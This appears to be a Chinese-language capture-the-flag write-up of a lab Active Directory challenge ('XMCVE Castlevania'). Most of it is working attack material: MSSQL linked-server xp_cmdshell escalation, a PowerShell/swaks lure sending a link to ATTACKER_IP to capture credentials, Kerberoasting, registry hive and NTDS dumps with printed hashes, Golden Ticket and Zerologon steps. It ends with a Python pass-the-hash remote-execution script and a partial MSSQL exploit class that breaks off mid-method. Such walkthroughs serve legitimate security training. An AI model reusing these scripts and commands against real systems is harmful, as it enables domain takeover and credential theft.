1
[信息收集] nmap 端口扫描
2
      ↓
3
[Web渗透] IIS 8.3 短文件名泄露 → 定向 fuzz → 获取数据库凭据
4
      ↓
5
[数据库] MSSQL Linked Server 配置错误 → 低权限提升至 sa
6
      ↓
7
[命令执行] xp_cmdshell → 本地命令执行 (xmcve\sqlsvc)
8
      ↓
9
[内网探测] 发现 SMTP 邮件 → 获取域用户凭据 p2zhh
10
      ↓
11
[域渗透] Kerberoasting / AS-REP Roasting → 破解 mowen 密码
12
      ↓
13
[权限提升] Backup Operators → 导出注册表 Hive
14
      ↓
15
[域控接管] secretsdump 提取 krbtgt hash → Golden Ticket
16
      ↓
17
[最终目标] 域管理员权限 → 读取 Flag

1
[+] File: /POO_CO~1.TXT (Status: 200)

1
000000XXX:   200   C=XXL   "connection"

1
server=localhost;
2
user=wuwupor;
3
password=lovlyBaby
4
database=master

1
SELECT SYSTEM_USER;
2
-- 输出: wuwupor
3

4
SELECT IS_SRVROLEMEMBER('sysadmin');
5
-- 输出: 0 (非 sysadmin，权限很低)

1
SELECT srvname FROM sysservers;

1
CASTLEVANIA
2
POO_CONFIG
3
POO_PUBLIC

1
-- 检查通过 Linked Server 执行时的身份
2
EXEC ('EXEC (''SELECT SUSER_NAME();'') AT [POO_PUBLIC]') AT [POO_CONFIG];

1
sa

1
-- 通过 Linked Server 以 sa 身份执行系统命令
2
EXEC ('EXEC (''xp_cmdshell ''''whoami'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];

1
xmcve\sqlsvc

1
EXEC ('EXEC (''xp_cmdshell ''''netstat -ano ^| findstr LISTENING'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];

1
-- 通过 Linked Server 以 sa 身份，利用 xp_cmdshell 调用 PowerShell 发送邮件
2
EXEC ('EXEC (''xp_cmdshell ''''powershell -Command "Send-MailMessage -To xxxxxx@XMCVE.local -From xxxxxx@XMCVE.local -Subject test -Body http://ATTACKER_IP/ -SmtpServer 127.0.0.1"'''' '') AT [POO_PUBLIC]') AT [POO_CONFIG];

1
swaks ----from xxxxxx@XMCVE.local --body "citrix http://ATTACKER_IP/" --server $_IP

1
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] XXXXX
2
POST /remote/auth/login.aspx HTTP/1.1
3
Content-Type: application/x-www-form-urlencoded
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
5
Host: ATTACKER_IP
6

7
LoginType=Explicit&user=pr3d1ct&password=yuyan_crypto&domain=XMCVE.LOCAL

1
pr3d1ct
2
aomr
3
p2zhh
4
berial

1
SMB  192.168.0.222  445  CASTLEVANIA  [+] XMCVE.local\p2zhh:p2zhh_web

1
ServicePrincipalName                    Name    MemberOf
2
--------------------------------------  ------  --------------------------------
3
HTTP/CASTLEVANIA.XMCVE.local            mowen   CN=Backup Operators,CN=Builtin,...
4

5
$krb5tgs$23$*mowen$XMCVE.LOCAL$HTTP/CASTLEVANIA.XMCVE.local*$...

1
$krb5asrep$23$mowen@XMCVE.LOCAL:...

1
mowen:1maxwell

1
MemberOf: CN=Backup Operators,CN=Builtin,DC=XMCVE,DC=local

1
smbclient '//192.168.0.222/C$' -U 'XMCVE/mowen%1maxwell' -c 'mkdir Windows\Temp\hives'

1
SAM.save      (24 KB)
2
SYSTEM.save   (15 MB)
3
SECURITY.save (40 KB)

1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
3
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
4
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
5

6
[*] Dumping LSA Secrets
7
[*] $MACHINE.ACC
8
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d
9

10
[*] DefaultPassword
11
(Unknown User):jU@Li&us@!#!
12

13
[*] _SC_MSSQLSERVER
14
(Unknown User):Sql!2026

1
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
2
[*] Using the DRSUAPI method to get NTDS.DIT secrets
3
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
4
[*] Kerberos keys grabbed
5
krbtgt:aes256-cts-hmac-sha1-96:2392ad160e585e1448c5ca4623b9ad48789c267c6488a0074dd86e98457fb5fc
6
krbtgt:aes128-cts-hmac-sha1-96:7d55d129c8fe6c50aa87cb542775f0a0
7
krbtgt:des-cbc-md5:e570376eb538c132

1
[*] Domain SID is: S-1-5-21-805392858-1149987238-1076533053

1
[*] Creating basic skeleton ticket and target PAC
2
[*] Customizing ticket for XMCVE.local/Administrator
3
[*] PAC_LOGON_INFO
4
[*] EncTicketPart
5
[*] EncTGSRepPart
6
[*] Saving ticket in Administrator.ccache

1
Ticket cache: FILE:Administrator.ccache
2
Default principal: Administrator@XMCVE.LOCAL
3

4
Valid starting       Expires              Service principal
5
XX/XX/XXXX XX:XX:XX  XX/XX/XXXX XX:XX:XX  krbtgt/XMCVE.LOCAL@XMCVE.LOCAL

1
[libdefaults]
2
    default_realm = XMCVE.LOCAL
3
    dns_lookup_realm = false
4
    dns_lookup_kdc = false
5

6
[realms]
7
    XMCVE.LOCAL = {
8
        kdc = 192.168.0.222
9
        admin_server = 192.168.0.222
10
    }
11

12
[domain_realm]
13
    .xmcve.local = XMCVE.LOCAL
14
    xmcve.local = XMCVE.LOCAL

1
192.168.0.222    CASTLEVANIA.XMCVE.local CASTLEVANIA

1
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
2

3
[*] SMBv3.0 dialect used
4
FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}

1
type C:\Users\Administrator\Desktop\flag.txt

1
FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}

1
$ crackmapexec smb 192.168.40.132 -u '' -p '' -M zerologon
2

3
ZEROLOGO...  192.168.40.132  445  CASTLEVANIA  VULNERABLE
4

5
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
6
msf6> set RHOSTS 192.168.40.132
7
msf6> set NBNAME CASTLEVANIA
8
msf6> run
9

10
[+] 192.168.40.132:49668 - Successfully authenticated
11
[+] 192.168.40.132:49668 - Successfully set the machine account (CASTLEVANIA$) password to:
12
    aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)

1
$ impacket-secretsdump -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' \
2
   -just-dc 'XMCVE.local/CASTLEVANIA$'@192.168.40.132
3

4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
5

6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
7
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
8
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
9
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
10
XMCVE.local\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2bf43119e258bcecf71d44abc29db7:::
11
XMCVE.local\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb5fa49a38497a71e144f690860688e:::

1
sudo cp /mnt/win/Windows/NTDS/ntds.dit ~/Desktop/
2
sudo cp /mnt/win/Windows/System32/config/SYSTEM ~/Desktop/

1
sudo impacket-secretsdump -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM LOCAL

1
python secretsdump.py -system offline/hives/SYSTEM \
2
  -security offline/hives/SECURITY \
3
  -ntds offline/hives/ntds.dit LOCAL

1
import argparse
2
import os
3
import random
4
import re
5
import shutil
6
import string
7
import subprocess
8
import sys
9
import time
10
from pathlib import Path
11

12
from impacket.dcerpc.v5 import scmr, transport
13

14

15
ROOT = Path(__file__).resolve().parent
16
VM_NAME = "Bloodstained"
17
DEFAULT_OVA = ROOT / "Bloodstained.ova"
18
DEFAULT_OVF = ROOT / "Bloodstained.ovf"
19
DEFAULT_VMDK = ROOT / "Bloodstained 1-disk001.vmdk"
20
DEFAULT_VM_DIR = ROOT / "vm" / VM_NAME
21
DEFAULT_VDI = DEFAULT_VM_DIR / f"{VM_NAME}.vdi"
22
DEFAULT_VBOX_HOME = ROOT / ".vboxhome"
23
DEFAULT_OFFLINE_DIR = ROOT / "offline" / "hives"
24
DEFAULT_DUMP = ROOT / "artifacts_secretsdump.txt"
25
DEFAULT_WHOAMI = ROOT / "artifacts_system_whoami.txt"
26
DEFAULT_HOSTNAME = ROOT / "artifacts_system_hostname.txt"
27

28

29
def run_command(args, *, cwd=None, env=None, check=True, capture=True):
30
    proc = subprocess.run(
31
        args,
32
        cwd=cwd,
33
        env=env,
34
        check=False,
35
        capture_output=capture,
36
        text=True,
37
        encoding="utf-8",
38
        errors="backslashreplace",
39
    )
40
    if check and proc.returncode != 0:
41
        details = proc.stdout
42
        if proc.stderr:
43
            details = f"{details}\n{proc.stderr}" if details else proc.stderr
44
        raise RuntimeError(f"command failed ({proc.returncode}): {' '.join(map(str, args))}\n{details}".rstrip())
45
    return proc
46

47

48
def ensure_exists(path: Path, hint: str) -> None:
49
    if not path.exists():
50
        raise RuntimeError(f"missing required file: {path}\n{hint}")
51

52

53
def find_vboxmanage() -> Path:
54
    candidates = [
55
        Path(r"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe"),
56
        Path(r"C:\Program Files\ldplayer9box\VBoxManage.exe"),
57
    ]
58
    for candidate in candidates:
59
        if candidate.exists():
60
            return candidate
61
    found = shutil.which("VBoxManage.exe") or shutil.which("VBoxManage")
62
    if found:
63
        return Path(found)
64
    raise RuntimeError("VBoxManage.exe not found. Install VirtualBox 7.2.0 or adjust PATH.")
65

66

67
def find_wsl() -> Path:
68
    found = shutil.which("wsl.exe")
69
    if not found:
70
        raise RuntimeError("wsl.exe not found. WSL with kali-linux is required for virt-copy-out.")
71
    return Path(found)
72

73

74
def find_secretsdump(default_python: Path) -> Path:
75
    candidates = [
76
        default_python.parent / "Scripts" / "secretsdump.py",
77
        Path(r"D:\Python\Python311\Scripts\secretsdump.py"),
78
    ]
79
    for candidate in candidates:
80
        if candidate.exists():
81
            return candidate
82
    raise RuntimeError("secretsdump.py not found. Install impacket for the Python interpreter you will use.")
83

84

85
def vbox(vboxmanage: Path, vbox_home: Path, *args: str) -> subprocess.CompletedProcess:
86
    env = os.environ.copy()
87
    env["VBOX_USER_HOME"] = str(vbox_home)
88
    return run_command([str(vboxmanage), *args], env=env)
89

90

91
def convert_to_wsl_path(path: Path) -> str:
92
    full = path.resolve()
93
    drive = full.drive[:1].lower()
94
    rest = full.as_posix()[2:]
95
    return f"/mnt/{drive}{rest}"
96

97

98
def ensure_ova_extracted(ova: Path, ovf: Path, vmdk: Path) -> None:
99
    ensure_exists(ova, "Place the challenge OVA in the current directory.")
100
    if ovf.exists() and vmdk.exists():
101
        return
102
    run_command(["tar", "-xf", str(ova), ovf.name, vmdk.name], cwd=ova.parent)
103

104

105
def ensure_vdi(vboxmanage: Path, vmdk: Path, vdi: Path) -> None:
106
    if vdi.exists():
107
        return
108
    vdi.parent.mkdir(parents=True, exist_ok=True)
109
    run_command([str(vboxmanage), "clonemedium", "disk", str(vmdk), str(vdi), "--format", "VDI"])
110

111

112
def ensure_vm_registered(vboxmanage: Path, vbox_home: Path, vm_dir: Path, vdi: Path) -> None:
113
    vm_dir.mkdir(parents=True, exist_ok=True)
114
    vbox_home.mkdir(parents=True, exist_ok=True)
115
    vbox(vboxmanage, vbox_home, "list", "systemproperties")
116
    vm_list = vbox(vboxmanage, vbox_home, "list", "vms").stdout
117
    vmx = vm_dir / f"{VM_NAME}.vbox"
118
    if f'"{VM_NAME}"' not in vm_list:
119
        if vmx.exists():
120
            vbox(vboxmanage, vbox_home, "registervm", str(vmx))
121
        else:
122
            vbox(vboxmanage, vbox_home, "createvm", "--name", VM_NAME, "--basefolder", str(ROOT / "vm"), "--ostype", "Windows2019_64", "--register")
123
            vbox(
124
                vboxmanage,
125
                vbox_home,
126
                "modifyvm",
127
                VM_NAME,
128
                "--memory",
129
                "2048",
130
                "--cpus",
131
                "1",
132
                "--firmware",
133
                "bios",
134
                "--ioapic",
135
                "on",
136
                "--pae",
137
                "off",
138
                "--vram",
139
                "128",
140
                "--graphicscontroller",
141
                "vboxsvga",
142
                "--boot1",
143
                "disk",
144
                "--boot2",
145
                "dvd",
146
                "--boot3",
147
                "none",
148
                "--boot4",
149
                "none",
150
                "--audio",
151
                "none",
152
            )
153
            vbox(vboxmanage, vbox_home, "storagectl", VM_NAME, "--name", "SATA", "--add", "sata", "--controller", "IntelAhci")
154

155
    info = vbox(vboxmanage, vbox_home, "showvminfo", VM_NAME, "--machinereadable").stdout
156
    if '"SATA-0-0"="none"' in info:
157
        vbox(
158
            vboxmanage,
159
            vbox_home,
160
            "storageattach",
161
            VM_NAME,
162
            "--storagectl",
163
            "SATA",
164
            "--port",
165
            "0",
166
            "--device",
167
            "0",
168
            "--type",
169
            "hdd",
170
            "--medium",
171
            str(vdi),
172
        )
173

174

175
def ensure_nat_rules(vboxmanage: Path, vbox_home: Path) -> None:
176
    forwards = [
177
        "http,tcp,127.0.0.1,18080,,80",
178
        "ldap,tcp,127.0.0.1,10389,,389",
179
        "mssql,tcp,127.0.0.1,11433,,1433",
180
        "smb,tcp,127.0.0.1,10445,,445",
181
    ]
182
    info = vbox(vboxmanage, vbox_home, "showvminfo", VM_NAME, "--machinereadable").stdout
183
    for rule in forwards:
184
        name = rule.split(",", 1)[0]
185
        pattern = re.compile(rf'^Forwarding\(\d+\)="{re.escape(name)},', re.MULTILINE)
186
        if not pattern.search(info):
187
            vbox(vboxmanage, vbox_home, "modifyvm", VM_NAME, "--natpf1", rule)
188

189

190
def get_vm_state(vboxmanage: Path, vbox_home: Path) -> str:
191
    info = vbox(vboxmanage, vbox_home, "showvminfo", VM_NAME, "--machinereadable").stdout
192
    match = re.search(r'^VMState="([^"]+)"$', info, re.MULTILINE)
193
    return match.group(1) if match else "unknown"
194

195

196
def restart_vm(vboxmanage: Path, vbox_home: Path, boot_wait: int) -> None:
197
    state = get_vm_state(vboxmanage, vbox_home)
198
    if state == "running":
199
        vbox(vboxmanage, vbox_home, "controlvm", VM_NAME, "poweroff")
200
        time.sleep(3)
201
    vbox(vboxmanage, vbox_home, "startvm", VM_NAME, "--type", "headless")
202
    time.sleep(boot_wait)
203

204

205
def copy_offline_hives(wsl_exe: Path, work_root: Path, offline_dir: Path, distro: str, vmdk: Path) -> None:
206
    offline_dir.mkdir(parents=True, exist_ok=True)
207
    wsl_root = convert_to_wsl_path(work_root)
208
    wsl_vmdk = convert_to_wsl_path(vmdk)
209
    script = "\n".join(
210
        [
211
            "set -e",
212
            f"cd '{wsl_root}'",
213
            "mkdir -p offline/hives",
214
            f"virt-copy-out -a '{wsl_vmdk}' /Windows/NTDS/ntds.dit offline/hives/",
215
            f"virt-copy-out -a '{wsl_vmdk}' /Windows/System32/config/SYSTEM offline/hives/",
216
            f"virt-copy-out -a '{wsl_vmdk}' /Windows/System32/config/SECURITY offline/hives/",
217
        ]
218
    )
219
    run_command([str(wsl_exe), "-u", "root", "-d", distro, "--", "bash", "-lc", script])
220

221

222
def run_secretsdump(python_exe: Path, secretsdump: Path, offline_dir: Path, dump_path: Path) -> None:
223
    system_hive = offline_dir / "SYSTEM"
224
    security_hive = offline_dir / "SECURITY"
225
    ntds = offline_dir / "ntds.dit"
226
    ensure_exists(system_hive, "Offline SYSTEM hive is required.")
227
    ensure_exists(security_hive, "Offline SECURITY hive is required.")
228
    ensure_exists(ntds, "Offline NTDS.dit is required.")
229
    proc = run_command(
230
        [
231
            str(python_exe),
232
            str(secretsdump),
233
            "-system",
234
            str(system_hive),
235
            "-security",
236
            str(security_hive),
237
            "-ntds",
238
            str(ntds),
239
            "LOCAL",
240
        ]
241
    )
242
    dump_path.write_text(proc.stdout, encoding="utf-8")
243

244

245
def read_text_auto(path: Path) -> str:
246
    raw = path.read_bytes()
247
    for encoding in ("utf-8", "utf-16", "utf-16-le", "utf-16-be", "gbk"):
248
        try:
249
            return raw.decode(encoding)
250
        except UnicodeDecodeError:
251
            continue
252
    return raw.decode("utf-8", errors="ignore")
253

254

255
def extract_hash_line(dump_path: Path, account: str) -> str:
256
    pattern = re.compile(rf"{re.escape(account)}:\d+:[0-9a-fA-F]{{32}}:[0-9a-fA-F]{{32}}:::")
257
    for line in read_text_auto(dump_path).splitlines():
258
        match = pattern.search(line)
259
        if match:
260
            return match.group(0)
261
    raise RuntimeError(f"could not find hash line for {account} in {dump_path}")
262

263

264
def parse_hash_line(hash_line: str) -> tuple[str, str]:
265
    parts = hash_line.strip().split(":")
266
    if len(parts) < 4:
267
        raise RuntimeError(f"invalid hash line: {hash_line}")
268
    return parts[2], parts[3]
269

270

271
def random_tag(prefix: str, length: int = 8) -> str:
272
    return prefix + "".join(random.choice(string.ascii_letters) for _ in range(length))
273

274

275
def escape_for_cmd_echo(command: str) -> str:
276
    replacements = {
277
        "^": "^^",
278
        "&": "^&",
279
        "<": "^<",
280
        ">": "^>",
281
        "|": "^|",
282
    }
283
    escaped = []
284
    for char in command:
285
        escaped.append(replacements.get(char, char))
286
    return "".join(escaped)
287

288

289
def smbexec_one_shot(
290
    *,
291
    target_name: str,
292
    target_ip: str,
293
    smb_port: int,
294
    domain: str,
295
    username: str,
296
    password: str,
297
    lmhash: str,
298
    nthash: str,
299
    command: str,
300
) -> str:
301
    stringbinding = rf"ncacn_np:{target_name}[\pipe\svcctl]"
302
    rpc_transport = transport.DCERPCTransportFactory(stringbinding)
303
    rpc_transport.setRemoteHost(target_ip)
304
    rpc_transport.set_dport(smb_port)
305
    rpc_transport.set_credentials(username, password, domain, lmhash, nthash, None)
306

307
    dce = rpc_transport.get_dce_rpc()
308
    dce.connect()
309
    dce.bind(scmr.MSRPC_UUID_SCMR)
310

311
    smb_conn = rpc_transport.get_smb_connection()
312
    smb_conn.setTimeout(100000)
313

314
    scm_handle = scmr.hROpenSCManagerW(dce)["lpScHandle"]
315
    service_name = random_tag("svc")
316
    output_name = random_tag("out") + ".txt"
317
    batch_name = random_tag("job") + ".bat"
318
    output_path = rf"C:\Windows\Temp\{output_name}"
319
    batch_path = rf"C:\Windows\Temp\{batch_name}"
320
    batch_body = f"{escape_for_cmd_echo(command)} ^> {output_path} 2^>^&1"
321
    binary_path = (
322
        rf"C:\Windows\System32\cmd.exe /Q /c "
323
        rf"echo {batch_body} > {batch_path} & "
324
        rf"C:\Windows\System32\cmd.exe /Q /c {batch_path} & "
325
        rf"del {batch_path}"
326
    )
327

328
    service_handle = None
329
    try:
330
        resp = scmr.hRCreateServiceW(
331
            dce,
332
            scm_handle,
333
            service_name,
334
            service_name,
335
            lpBinaryPathName=binary_path,
336
            dwStartType=scmr.SERVICE_DEMAND_START,
337
        )
338
        service_handle = resp["lpServiceHandle"]
339
        try:
340
            scmr.hRStartServiceW(dce, service_handle)
341
        except Exception:
342
            pass
343

344
        time.sleep(1)
345

346
        last_error = None
347
        for _ in range(30):
348
            try:
349
                chunks = []
350

351
                def callback(data: bytes) -> None:
352
                    chunks.append(data)
353

354
                smb_conn.getFile("ADMIN$", rf"Temp\{output_name}", callback)
355
                output = b"".join(chunks).decode("utf-8", errors="backslashreplace")
356
                if output.strip():
357
                    smb_conn.deleteFile("ADMIN$", rf"Temp\{output_name}")
358
                    return output
359
            except Exception as exc:
360
                last_error = exc
361
            time.sleep(1)
362
        raise RuntimeError(f"timed out waiting for remote output file {output_name}: {last_error}")
363
    finally:
364
        if service_handle is not None:
365
            try:
366
                scmr.hRDeleteService(dce, service_handle)
367
            except Exception:
368
                pass
369
            try:
370
                scmr.hRCloseServiceHandle(dce, service_handle)
371
            except Exception:
372
                pass
373
        try:
374
            scmr.hRCloseServiceHandle(dce, scm_handle)
375
        except Exception:
376
            pass
377
        try:
378
            dce.disconnect()
379
        except Exception:
380
            pass
381

382

383
def extract_proof(output: str, command: str) -> str:
384
    cleaned = re.sub(r"[\x00-\x08\x0b-\x1f]", "", output)
385
    if command == "whoami":
386
        match = re.search(r"(?im)^\s*(nt authority\\system)\s*$", cleaned)
387
    elif command == "hostname":
388
        match = re.search(r"(?im)^\s*(CASTLEVANIA)\s*$", cleaned)
389
    else:
390
        match = None
391
    if not match:
392
        raise RuntimeError(f"failed to extract proof line for {command}")
393
    return match.group(1)
394

395

396
def verify_shell(
397
    *,
398
    dump_path: Path,
399
    hash_line: str | None,
400
    domain: str,
401
    username: str,
402
    target_name: str,
403
    target_ip: str,
404
    smb_port: int,
405
    whoami_path: Path,
406
    hostname_path: Path,
407
    retries: int,
408
    retry_delay: int,
409
) -> tuple[str, str]:
410
    if not hash_line:
411
        ensure_exists(dump_path, "Run the full mode first or provide --hash-line.")
412
        hash_line = extract_hash_line(dump_path, username)
413

414
    lmhash, nthash = parse_hash_line(hash_line)
415
    identity = f"{domain}/{username}@{target_name}"
416
    print(f"[*] principal : {identity}")
417
    print(f"[*] target ip : {target_ip}:{smb_port}")
418
    print(f"[*] hashes    : {lmhash}:{nthash}")
419

420
    def run_with_retry(command: str) -> str:
421
        last_error = None
422
        for attempt in range(1, retries + 1):
423
            try:
424
                return smbexec_one_shot(
425
                    target_name=target_name,
426
                    target_ip=target_ip,
427
                    smb_port=smb_port,
428
                    domain=domain,
429
                    username=username,
430
                    password="",
431
                    lmhash=lmhash,
432
                    nthash=nthash,
433
                    command=command,
434
                )
435
            except Exception as exc:
436
                last_error = exc
437
                if attempt == retries:
438
                    break
439
                print(f"[*] retry {attempt}/{retries - 1} for {command}: {exc}")
440
                time.sleep(retry_delay)
441
        raise RuntimeError(f"{command} failed after {retries} attempts: {last_error}")
442

443
    whoami_output = run_with_retry("whoami")
444
    whoami_path.write_text(whoami_output, encoding="utf-8")
445
    whoami = extract_proof(whoami_output, "whoami")
446
    print(f"[+] whoami    : {whoami}")
447

448
    hostname_output = run_with_retry("hostname")
449
    hostname_path.write_text(hostname_output, encoding="utf-8")
450
    hostname = extract_proof(hostname_output, "hostname")
451
    print(f"[+] hostname  : {hostname}")
452

453
    return whoami, hostname
454

455

456
def do_full(args) -> int:
457
    python_exe = args.python.resolve()
458
    vboxmanage = args.vboxmanage.resolve() if args.vboxmanage else find_vboxmanage()
459
    wsl_exe = args.wsl.resolve() if args.wsl else find_wsl()
460
    secretsdump = args.secretsdump.resolve() if args.secretsdump else find_secretsdump(python_exe)
461

462
    ensure_exists(python_exe, "Use a Python interpreter with impacket installed.")
463

464
    args.vbox_home.mkdir(parents=True, exist_ok=True)
465
    args.offline_dir.mkdir(parents=True, exist_ok=True)
466
    (ROOT / "vm").mkdir(parents=True, exist_ok=True)
467

468
    print("[*] extracting OVA if needed")
469
    ensure_ova_extracted(args.ova, args.ovf, args.vmdk)
470

471
    print("[*] preparing VDI")
472
    ensure_vdi(vboxmanage, args.vmdk, args.vdi)
473

474
    print("[*] registering VM")
475
    ensure_vm_registered(vboxmanage, args.vbox_home, args.vm_dir, args.vdi)
476

477
    print("[*] setting NAT forwards")
478
    ensure_nat_rules(vboxmanage, args.vbox_home)
479

480
    print("[*] starting VM")
481
    restart_vm(vboxmanage, args.vbox_home, args.boot_wait)
482

483
    print("[*] copying offline hives from VMDK")
484
    copy_offline_hives(wsl_exe, ROOT, args.offline_dir, args.wsl_distro, args.vmdk)
485

486
    print("[*] running secretsdump")
487
    run_secretsdump(python_exe, secretsdump, args.offline_dir, args.dump)
488

489
    print("[*] verifying Administrator shell")
490
    whoami, hostname = verify_shell(
491
        dump_path=args.dump,
492
        hash_line=args.hash_line,
493
        domain=args.domain,
494
        username=args.user,
495
        target_name=args.target,
496
        target_ip=args.target_ip,
497
        smb_port=args.smb_port,
498
        whoami_path=args.whoami_out,
499
        hostname_path=args.hostname_out,
500
        retries=args.verify_retries,
501
        retry_delay=args.verify_delay,
502
    )
503
    print(f"[+] complete   : {whoami} @ {hostname}")
504
    return 0
505

506

507
def do_verify(args) -> int:
508
    print("[*] verifying Administrator shell")
509
    whoami, hostname = verify_shell(
510
        dump_path=args.dump,
511
        hash_line=args.hash_line,
512
        domain=args.domain,
513
        username=args.user,
514
        target_name=args.target,
515
        target_ip=args.target_ip,
516
        smb_port=args.smb_port,
517
        whoami_path=args.whoami_out,
518
        hostname_path=args.hostname_out,
519
        retries=args.verify_retries,
520
        retry_delay=args.verify_delay,
521
    )
522
    print(f"[+] complete   : {whoami} @ {hostname}")
523
    return 0
524

525

526
def build_parser() -> argparse.ArgumentParser:
527
    parser = argparse.ArgumentParser(description="One-file local reproduction script for BabyDC.")
528
    parser.add_argument("--python", type=Path, default=Path(sys.executable), help="Python interpreter with impacket installed")
529
    parser.add_argument("--domain", default="XMCVE.local")
530
    parser.add_argument("--user", default="Administrator")
531
    parser.add_argument("--target", default="CASTLEVANIA.XMCVE.local")
532
    parser.add_argument("--target-ip", default="127.0.0.1")
533
    parser.add_argument("--smb-port", type=int, default=10445)
534
    parser.add_argument("--dump", type=Path, default=DEFAULT_DUMP)
535
    parser.add_argument("--hash-line", help="Explicit secretsdump line, overrides --dump in verify mode")
536
    parser.add_argument("--whoami-out", type=Path, default=DEFAULT_WHOAMI)
537
    parser.add_argument("--hostname-out", type=Path, default=DEFAULT_HOSTNAME)
538
    parser.add_argument("--verify-retries", type=int, default=12, help="Retry count for post-boot shell validation")
539
    parser.add_argument("--verify-delay", type=int, default=5, help="Seconds between shell validation retries")
540

541
    subparsers = parser.add_subparsers(dest="mode", required=True)
542

543
    full = subparsers.add_parser("full", help="Extract the disk, boot the VM, dump hashes, and verify SYSTEM execution")
544
    full.add_argument("--ova", type=Path, default=DEFAULT_OVA)
545
    full.add_argument("--ovf", type=Path, default=DEFAULT_OVF)
546
    full.add_argument("--vmdk", type=Path, default=DEFAULT_VMDK)
547
    full.add_argument("--vm-dir", type=Path, default=DEFAULT_VM_DIR)
548
    full.add_argument("--vdi", type=Path, default=DEFAULT_VDI)
549
    full.add_argument("--vbox-home", type=Path, default=DEFAULT_VBOX_HOME)
550
    full.add_argument("--offline-dir", type=Path, default=DEFAULT_OFFLINE_DIR)
551
    full.add_argument("--vboxmanage", type=Path, help="Override VBoxManage.exe")
552
    full.add_argument("--wsl", type=Path, help="Override wsl.exe")
553
    full.add_argument("--wsl-distro", default="kali-linux")
554
    full.add_argument("--secretsdump", type=Path, help="Override secretsdump.py")
555
    full.add_argument("--boot-wait", type=int, default=25, help="Seconds to wait after starting the VM")
556
    full.set_defaults(func=do_full)
557

558
    verify = subparsers.add_parser("verify", help="Use the dump or a hash line to prove SYSTEM execution")
559
    verify.set_defaults(func=do_verify)
560

561
    return parser
562

563

564
def main() -> int:
565
    parser = build_parser()
566
    args = parser.parse_args()
567
    return args.func(args)
568

569

570
if __name__ == "__main__":
571
    try:
572
        raise SystemExit(main())
573
    except Exception as exc:
574
        print(f"[-] {exc}", file=sys.stderr)
575
        raise

1
admin
2
sales
3
support
4
administrator
5
Admin
6
alucard

1
admin:Password123!
2
sales:Password123!
3
support:Password123!
4
Admin:Password123!

1
dontreqpreauth: true
2
serviceprincipalnames: HTTP/CASTLEVANIA.XMCVE.local
3
member of: BACKUP OPERATORS

1
john mowen.asrep --wordlist=/usr/share/wordlists/rockyou.txt
2
john --show mowen.asrep

1
SELECT name, CAST(value_in_use AS int) AS value_in_use
2
FROM sys.configurations
3
WHERE name IN ('xp_cmdshell', 'Ole Automation Procedures', 'Ad Hoc Distributed Queries', 'clr enabled', 'remote access');

1
net group "Domain Admins" sqlsvc /add /domain

1
nt authority\system
2
CASTLEVANIA

1
import argparse
2
import contextlib
3
import functools
4
import http.server
5
import shutil
6
import socket
7
import socketserver
8
import subprocess
9
import sys
10
import threading
11
import time
12
from pathlib import Path
13

14
import pytds
15

16

17
def quote_sql(value: str) -> str:
18
    return value.replace("'", "''")
19

20

21
def get_local_ip_for_target(target_ip: str) -> str:
22
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
23
    try:
24
        sock.connect((target_ip, 1433))
25
        return sock.getsockname()[0]
26
    finally:
27
        sock.close()
28

29

30
class QuietHandler(http.server.SimpleHTTPRequestHandler):
31
    def log_message(self, fmt: str, *args) -> None:
32
        pass
33

34

35
class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
36
    daemon_threads = True
37
    allow_reuse_address = True
38

39

40
@contextlib.contextmanager
41
def serve_directory(directory: Path, host: str):
42
    handler = functools.partial(QuietHandler, directory=str(directory))
43
    server = ThreadingHTTPServer((host, 0), handler)
44
    thread = threading.Thread(target=server.serve_forever, daemon=True)
45
    thread.start()
46
    try:
47
        yield server.server_address[1]
48
    finally:
49
        server.shutdown()
50
        server.server_close()
51
        thread.join(timeout=1)
52

53

54
class MSSQLExploit:
55
    def __init__(self, server: str, user: str, password: str, database: str = "master", port: int = 1433):
56
        self.conn = pytds.connect(
57
            server=server,
58
            database=database,
59
            user=user,
60
            password=password,
61
            port=port,
62
            validate_host=False,
63
            use_tz=False,
64
            autocommit=True,
65
        )
66

67
    def close(self) -> None:
68
        self.conn.close()
69

70
    def run_query(self, query: str):
71
        cur = self.conn.cursor()
72
        cur.execute(query)
73
        if not cur.description:
74
            return []
75
        rows = cur.fetchall()
76
        columns = [c[0] for c in cur.description]
77
        return [dict(zip(columns, row)) for row in rows]
78

79
    def xp_cmdshell_via_public(self, command: str):
80
        query = f"EXEC ('EXEC xp_cmdshell ''{quote_sql(command)}''') AT POO_PUBLIC"
81
